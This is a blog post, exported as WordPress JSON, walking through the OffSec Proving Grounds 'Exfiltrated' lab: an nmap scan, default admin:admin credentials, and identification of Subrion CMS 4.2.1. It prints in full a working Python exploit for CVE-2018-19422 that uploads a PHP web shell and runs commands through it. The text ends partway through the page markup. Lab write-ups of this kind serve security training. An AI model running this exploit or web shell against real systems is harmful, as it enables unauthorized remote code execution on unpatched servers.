{"id":262,"date":"2024-06-10T18:24:45","date_gmt":"2024-06-10T18:24:45","guid":{"rendered":"https:\/\/bencron.com\/?p=262"},"modified":"2024-06-21T19:12:28","modified_gmt":"2024-06-21T19:12:28","slug":"exfiltrated-offsec-proving-grounds-practice","status":"publish","type":"post","link":"https:\/\/bencron.com\/?p=262","title":{"rendered":"Exfiltrated &#8211; Offsec Proving Grounds (Practice)"},"content":{"rendered":"\n<h2 class=\"wp-block-heading has-text-align-center\">The Summary<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td class=\"has-text-align-right\" data-align=\"right\"><strong>Platform Site<\/strong><\/td><td>OffSec Proving Grounds (Practice)<\/td><\/tr><tr><td class=\"has-text-align-right\" data-align=\"right\"><strong>Hostname<\/strong><\/td><td>exfiltrated<\/td><\/tr><tr><td class=\"has-text-align-right\" data-align=\"right\"><strong>Domain<\/strong><\/td><td>exfiltrated.offsec<\/td><\/tr><tr><td class=\"has-text-align-right\" data-align=\"right\"><strong>Operating System \/ Architecture<\/strong><\/td><td>linux<\/td><\/tr><tr><td class=\"has-text-align-right\" data-align=\"right\"><strong>Rating<\/strong><\/td><td>Easy<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>I am going to be attacking the Exfiltrated machine on Offsec Proving Grounds. This report will involve scanning and service enumeration, leading to the initial foothold on the machine. Explanations of the foothold will be given. Privilege escalation will obtained by the manipulation of an image and discovering a known vullnerabilty within an installed application. <\/p>\n\n\n\n<p>It will be followed with a debreif, discussing  what went right and wrong wiht breaking the machine and\/or the process of creating the write-up.<\/p>\n\n\n\n<h2 class=\"wp-block-heading has-text-align-center\">The Attack<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Scanning &amp; Prelims<\/h3>\n\n\n\n<p>Once the testing environment is setup and full connectivity is confirmed, I run an nmap scan with he following command. After is a list explaining the command, followed by the output of the action.<\/p>\n\n\n\n<p>NMAP Command<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -T4 -A -p- xx.xx.xx.xx -oA nmap-XXXXXXX --webxml<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>nmap  &#8211;&gt; the application<\/li>\n\n\n\n<li>-T4  &#8211;&gt; timing set to aggressive (4)<\/li>\n\n\n\n<li>-A -p-  &#8211;&gt; enables all scans &amp; scans all ports<\/li>\n\n\n\n<li>xx.xx.xx.xx  &#8211;&gt; target IP address<\/li>\n\n\n\n<li>-oA  &#8211;&gt; output All file types: normal, grepable, XML<\/li>\n\n\n\n<li>nmap-XXXXXX  &#8211;&gt; names of output files (XXXX changes per testers choice)<\/li>\n\n\n\n<li>&#8211;webxml  &#8211;&gt; can move &amp; view the XML easily on another machine<\/li>\n<\/ul>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2e2e2e;color:#d5ffff\">NMAP &#8211; Output<\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">Host is up (0.031s latency).<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">Not shown: 65533 closed tcp ports (reset)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">PORT   STATE SERVICE VERSION<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| ssh-hostkey: <\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|   3072 c1994b952225ed0f8520d363b448bbcf (RSA)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|   256 0f448badad95b8226af036ac19d00ef3 (ECDSA)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_  256 32e12a6ccc7ce63e23f4808d33ce9b3a (ED25519)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">80\/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| http-robots.txt: 7 disallowed entries <\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| \/backup\/ \/cron\/? \/front\/ \/install\/ \/panel\/ \/tmp\/ <\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_\/updates\/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_http-title: Did not follow redirect to http:\/\/exfiltrated.offsec\/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_http-server-header: Apache\/2.4.41 (Ubuntu)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">No exact OS matches for host (If you know what OS is running on it, see https:\/\/nmap.org\/submit\/ ).<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">TCP\/IP fingerprint:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:SCAN(V=7.93%E=4%D=4\/30%OT=22%CT=1%CU=30563%PV=Y%DS=4%DC=T%G=Y%TM=66317CE<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=2%ISR=10D%TI=Z%II=I%TS=A)OPS(O1=M<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:551ST11NW7%O2=M551ST11NW7%O3=M551NNT11NW7%O4=M551ST11NW7%O5=M551ST11NW7%<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:O6=M551ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:DF=Y%T=40%W=FAF0%O=M551NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=CD<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:8F%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)<\/span><\/span>\n<span class=\"line\"><\/span><\/code><\/pre><\/div>\n\n\n\n<p>While scanning I set up notes for this machine. I also edit the <code>\/etc\/hosts<\/code> file in Kali to associate a domain of my choosing to the IP address provided by the Platform Site. The entry is often added to during testing when new domains are found.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Service Enumeration<\/h3>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2e2e2e;color:#d5ffff\">NMAP &#8211; Output<\/span><span role=\"button\" tabindex=\"0\" data-code=\"22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 c1994b952225ed0f8520d363b448bbcf (RSA)\n|   256 0f448badad95b8226af036ac19d00ef3 (ECDSA)\n|_  256 32e12a6ccc7ce63e23f4808d33ce9b3a (ED25519)\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| ssh-hostkey: <\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|   3072 c1994b952225ed0f8520d363b448bbcf (RSA)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|   256 0f448badad95b8226af036ac19d00ef3 (ECDSA)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_  256 32e12a6ccc7ce63e23f4808d33ce9b3a (ED25519)<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>&#8220;It&#8217;s never SSH.&#8221; Well, almost never. It is best to try other services first.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2e2e2e;color:#d5ffff\">NMAP &#8211; Output<\/span><span role=\"button\" tabindex=\"0\" data-code=\"80\/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))\n| http-robots.txt: 7 disallowed entries \n| \/backup\/ \/cron\/? \/front\/ \/install\/ \/panel\/ \/tmp\/ \n|_\/updates\/\n|_http-title: Did not follow redirect to http:\/\/exfiltrated.offsec\/\n|_http-server-header: Apache\/2.4.41 (Ubuntu)\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">80\/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| http-robots.txt: 7 disallowed entries <\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| \/backup\/ \/cron\/? \/front\/ \/install\/ \/panel\/ \/tmp\/ <\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_\/updates\/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_http-title: Did not follow redirect to http:\/\/exfiltrated.offsec\/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_http-server-header: Apache\/2.4.41 (Ubuntu)<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Since the only other service is HTTP, it is almost a certainty that something is amiss with it.<\/p>\n\n\n\n<p>Going to the site, the homepage shows a login link.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"792\" height=\"289\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-27.png\" alt=\"\" class=\"wp-image-274\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-27.png 792w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-27-300x109.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-27-768x280.png 768w\" sizes=\"auto, (max-width: 792px) 100vw, 792px\" \/><\/figure>\n\n\n\n<p>Trying basic credentials of admin:admin brings success.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"434\" height=\"369\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-28.png\" alt=\"\" class=\"wp-image-275\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-28.png 434w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-28-300x255.png 300w\" sizes=\"auto, (max-width: 434px) 100vw, 434px\" \/><\/figure>\n\n\n\n<p>This provides access to the Admin Dashboard (through the gear icon).<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"556\" height=\"235\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-29.png\" alt=\"\" class=\"wp-image-276\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-29.png 556w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-29-300x127.png 300w\" sizes=\"auto, (max-width: 556px) 100vw, 556px\" \/><\/figure>\n\n\n\n<p>Although the previous page mention Subrion, the admin dashboard confirms this and scrolling to the bottom reveals a version number. Subrion CMS v 4.2.1<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"193\" height=\"650\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-30.png\" alt=\"\" class=\"wp-image-277\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-30.png 193w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-30-89x300.png 89w\" sizes=\"auto, (max-width: 193px) 100vw, 193px\" \/><\/figure>\n\n\n\n<p> A search shows that Subrion CMS is a PHP\/MySQL based frame work. The search also shows a public exploit is available. This can be copied from the Exploit-DB website. I like to grab them locally using searchsploit.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"889\" height=\"326\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-32.png\" alt=\"\" class=\"wp-image-279\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-32.png 889w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-32-300x110.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-32-768x282.png 768w\" sizes=\"auto, (max-width: 889px) 100vw, 889px\" \/><\/figure>\n\n\n\n<p>I like to make a copy of the exploit to the project directory for editing using the mirror flag (-m). Highlight the Path &#8211;&gt; Copy (shift+ctrl+C) &#8211;&gt; type: searchsploit -m &#8211;&gt; Paste (shift+ctrl+V) &#8211;&gt; execute (Enter).<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"885\" height=\"396\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-33.png\" alt=\"\" class=\"wp-image-280\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-33.png 885w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-33-300x134.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-33-768x344.png 768w\" sizes=\"auto, (max-width: 885px) 100vw, 885px\" \/><\/figure>\n\n\n\n<p>This exploit requires access to the dashboard panel and valid credentials, which I have both.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">The Foothold<\/h3>\n\n\n\n<p>Upon opening the Python exploit file, I discovered it requires the BeautifulSoup module. This is not a standard module and will require installing for some people. Figured it may be good to show how to set up a virtual environment.<\/p>\n\n\n\n<p>I like to set one up in each project folder when I am going to use python. I like that it keeps the required modules for that specific project isolated to that project directory and it doesn&#8217;t effect the global install of Python. I&#8217;ve managed to ruin my global install of Python before and this isolated any mistakes I mat make. Another benefit is you can easily fire up older versions of Python2 for older scripts that were crafted in it and have not been updated.<\/p>\n\n\n\n<p>Be sure you are working in your project directory an run the following commands<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>virtualenv venv<\/code><\/pre>\n\n\n\n<p>This will create the virtual environment directory (called &#8220;venv&#8221;, can name whatever you wish) in your working directory.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>source venv\/bin\/activate<\/code><\/pre>\n\n\n\n<p>This executes the source command. Source command, a built in feature of the shell, allows you to grab commands from a file and use them directly in the terminal. It happens within the current shell, without spawning anything new. After running, you will &#8220;magically&#8221; see a change in the command line.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"734\" height=\"153\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-35.png\" alt=\"\" class=\"wp-image-283\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-35.png 734w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-35-300x63.png 300w\" sizes=\"auto, (max-width: 734px) 100vw, 734px\" \/><\/figure>\n\n\n\n<p>The appearance of the virtualenv directory (venv). This indicates you are now working within that virtual directory. You can now traverse to any other directory and still remain in that venv environment.<\/p>\n\n\n\n<p>You can close the virtual environment at any time by using: deactivate. And enter again using the source command.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"744\" height=\"279\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-37.png\" alt=\"\" class=\"wp-image-287\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-37.png 744w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-37-300x113.png 300w\" sizes=\"auto, (max-width: 744px) 100vw, 744px\" \/><\/figure>\n\n\n\n<p>Getting the exploit running will involve installing some python modules into the virtual environment. this is done with: <code>pip<\/code>. To see what modules are installed, use: <code>pip list<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"388\" height=\"175\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-38.png\" alt=\"\" class=\"wp-image-288\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-38.png 388w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-38-300x135.png 300w\" sizes=\"auto, (max-width: 388px) 100vw, 388px\" \/><\/figure>\n\n\n\n<p>I&#8217;m not sure what the proper way to install these modules is. But I generally just run the script and it will throw an error, letting you know what modules it is asking for. I then install it with: <code>pip install &lt;moduleName&gt;<\/code>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"844\" height=\"248\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-40.png\" alt=\"\" class=\"wp-image-290\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-40.png 844w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-40-300x88.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-40-768x226.png 768w\" sizes=\"auto, (max-width: 844px) 100vw, 844px\" \/><\/figure>\n\n\n\n<p>Keep running the script and installing modules until it runs properly. You can run : <code>pip list<\/code> again to view what modules are installed in the virtual environment.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"741\" height=\"520\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-41.png\" alt=\"\" class=\"wp-image-291\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-41.png 741w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-41-300x211.png 300w\" sizes=\"auto, (max-width: 741px) 100vw, 741px\" \/><\/figure>\n\n\n\n<p>The script has a help option that shows a bit more on how to run the script, the syntax is: <code>python exploit.py -u http:\/\/target\/panel -l username -p password<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"908\" height=\"543\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-42.png\" alt=\"\" class=\"wp-image-293\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-42.png 908w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-42-300x179.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-42-768x459.png 768w\" sizes=\"auto, (max-width: 908px) 100vw, 908px\" \/><\/figure>\n\n\n\n<p>We now have a shell. At this point, you can proceed to the privilege escalation section if you want to view the next stage of attack. But, I am going to continue to break this script down to get to better understand what is happening.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Script Breakdown<\/h4>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-width:calc(3 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(238, 255, 255, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:16px 0 0 16px;width:100%;text-align:left;background-color:#212121\"><span style=\"background:#d5ffff;padding:0.3rem 0.5rem 0.2rem;border-radius:1rem;font-size:0.8em;line-height:1;height:1.25rem;text-align:center;display:inline-flex;align-items:center;justify-content:center;color:#212121\">Python<\/span><\/span><span role=\"button\" tabindex=\"0\" data-code=\"#!\/usr\/bin\/python3\n\nimport requests\nimport time\nimport optparse\nimport random\nimport string\nfrom bs4 import BeautifulSoup\n\nparser = optparse.OptionParser()\nparser.add_option('-u', '--url', action=&quot;store&quot;, dest=&quot;url&quot;, help=&quot;Base target uri http:\/\/target\/panel&quot;)\nparser.add_option('-l', '--user', action=&quot;store&quot;, dest=&quot;user&quot;, help=&quot;User credential to login&quot;)\nparser.add_option('-p', '--passw', action=&quot;store&quot;, dest=&quot;passw&quot;, help=&quot;Password credential to login&quot;)\n\noptions, args = parser.parse_args()\n\nif not options.url:\n    print('[+] Specify an url target')\n    print('[+] Example usage: exploit.py -u http:\/\/target-uri\/panel')\n    print('[+] Example help usage: exploit.py -h')\n    exit()\n\nurl_login = options.url\nurl_upload = options.url + 'uploads\/read.json'\nurl_shell = options.url + 'uploads\/'\nusername = options.user\npassword = options.passw\n\nsession = requests.Session()\n\ndef login():\n    global csrfToken\n    print('[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 \\n')\n    print('[+] Trying to connect to: ' + url_login)\n    try:\n        get_token_request = session.get(url_login)\n        soup = BeautifulSoup(get_token_request.text, 'html.parser')\n        csrfToken = soup.find('input',attrs = {'name':'__st'})['value']\n        print('[+] Success!')\n        time.sleep(1)\n\n        if csrfToken:\n            print(f&quot;[+] Got CSRF token: {csrfToken}&quot;)\n            print(&quot;[+] Trying to log in...&quot;)\n\n            auth_url = url_login\n            auth_cookies = {&quot;loader&quot;: &quot;loaded&quot;}\n            auth_headers = {&quot;User-Agent&quot;: &quot;Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0&quot;, &quot;Accept&quot;: &quot;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8&quot;, &quot;Accept-Language&quot;: &quot;pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3&quot;, &quot;Accept-Encoding&quot;: &quot;gzip, deflate&quot;, &quot;Content-Type&quot;: &quot;application\/x-www-form-urlencoded&quot;, &quot;Origin&quot;: &quot;http:\/\/192.168.1.20&quot;, &quot;Connection&quot;: &quot;close&quot;, &quot;Referer&quot;: &quot;http:\/\/192.168.1.20\/panel\/&quot;, &quot;Upgrade-Insecure-Requests&quot;: &quot;1&quot;}\n            auth_data = {&quot;__st&quot;: csrfToken, &quot;username&quot;: username, &quot;password&quot;: password}\n            auth = session.post(auth_url, headers=auth_headers, cookies=auth_cookies, data=auth_data)\n\n            if len(auth.text) &lt;= 7000:\n                print('\\n[x] Login failed... Check credentials')\n                exit()\n            else:\n                print('[+] Login Successful!\\n')\n        else:\n            print('[x] Failed to got CSRF token')\n            exit()\n\n    except requests.exceptions.ConnectionError as err:\n        print('\\n[x] Failed to Connect in: '+url_login+' ')\n        print('[x] This host seems to be Down')\n        exit()\n\n    return csrfToken\n\ndef name_rnd():\n    global shell_name\n    print('[+] Generating random name for Webshell...')\n    shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))\n    time.sleep(1)\n    print('[+] Generated webshell name: '+shell_name+'\\n')\n\n    return shell_name\n\ndef shell_upload():\n    print('[+] Trying to Upload Webshell..')\n    try:\n        up_url = url_upload\n        up_cookies = {&quot;INTELLI_06c8042c3d&quot;: &quot;15ajqmku31n5e893djc8k8g7a0&quot;, &quot;loader&quot;: &quot;loaded&quot;}\n        up_headers = {&quot;User-Agent&quot;: &quot;Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0&quot;, &quot;Accept&quot;: &quot;*\/*&quot;, &quot;Accept-Language&quot;: &quot;pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3&quot;, &quot;Accept-Encoding&quot;: &quot;gzip, deflate&quot;, &quot;Content-Type&quot;: &quot;multipart\/form-data; boundary=---------------------------6159367931540763043609390275&quot;, &quot;Origin&quot;: &quot;http:\/\/192.168.1.20&quot;, &quot;Connection&quot;: &quot;close&quot;, &quot;Referer&quot;: &quot;http:\/\/192.168.1.20\/panel\/uploads\/&quot;}\n        up_data = &quot;-----------------------------6159367931540763043609390275\\r\\nContent-Disposition: form-data; name=\\&quot;reqid\\&quot;\\r\\n\\r\\n17978446266285\\r\\n-----------------------------6159367931540763043609390275\\r\\nContent-Disposition: form-data; name=\\&quot;cmd\\&quot;\\r\\n\\r\\nupload\\r\\n-----------------------------6159367931540763043609390275\\r\\nContent-Disposition: form-data; name=\\&quot;target\\&quot;\\r\\n\\r\\nl1_Lw\\r\\n-----------------------------6159367931540763043609390275\\r\\nContent-Disposition: form-data; name=\\&quot;__st\\&quot;\\r\\n\\r\\n&quot;+csrfToken+&quot;\\r\\n-----------------------------6159367931540763043609390275\\r\\nContent-Disposition: form-data; name=\\&quot;upload[]\\&quot;; filename=\\&quot;&quot;+shell_name+&quot;.phar\\&quot;\\r\\nContent-Type: application\/octet-stream\\r\\n\\r\\n&lt;?php system($_GET['cmd']); ?&gt;\\n\\r\\n-----------------------------6159367931540763043609390275\\r\\nContent-Disposition: form-data; name=\\&quot;mtime[]\\&quot;\\r\\n\\r\\n1621210391\\r\\n-----------------------------6159367931540763043609390275--\\r\\n&quot;\n        session.post(up_url, headers=up_headers, cookies=up_cookies, data=up_data)\n\n    except requests.exceptions.HTTPError as conn:\n        print('[x] Failed to Upload Webshell in: '+url_upload+' ')\n        exit()\n\ndef code_exec():\n    try:\n        url_clean = url_shell.replace('\/panel', '')\n        req = session.get(url_clean + shell_name + '.phar?cmd=id')\n\n        if req.status_code == 200:\n            print('[+] Upload Success... Webshell path: ' + url_shell + shell_name + '.phar \\n')\n            while True:\n                cmd = input('$ ')\n                x = session.get(url_clean + shell_name + '.phar?cmd='+cmd+'')\n                print(x.text)\n        else:\n            print('\\n[x] Webshell not found... upload seems to have failed')\n    except:\n        print('\\n[x] Failed to execute PHP code...')\n\nlogin()\nname_rnd()\nshell_upload()\ncode_exec()\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" 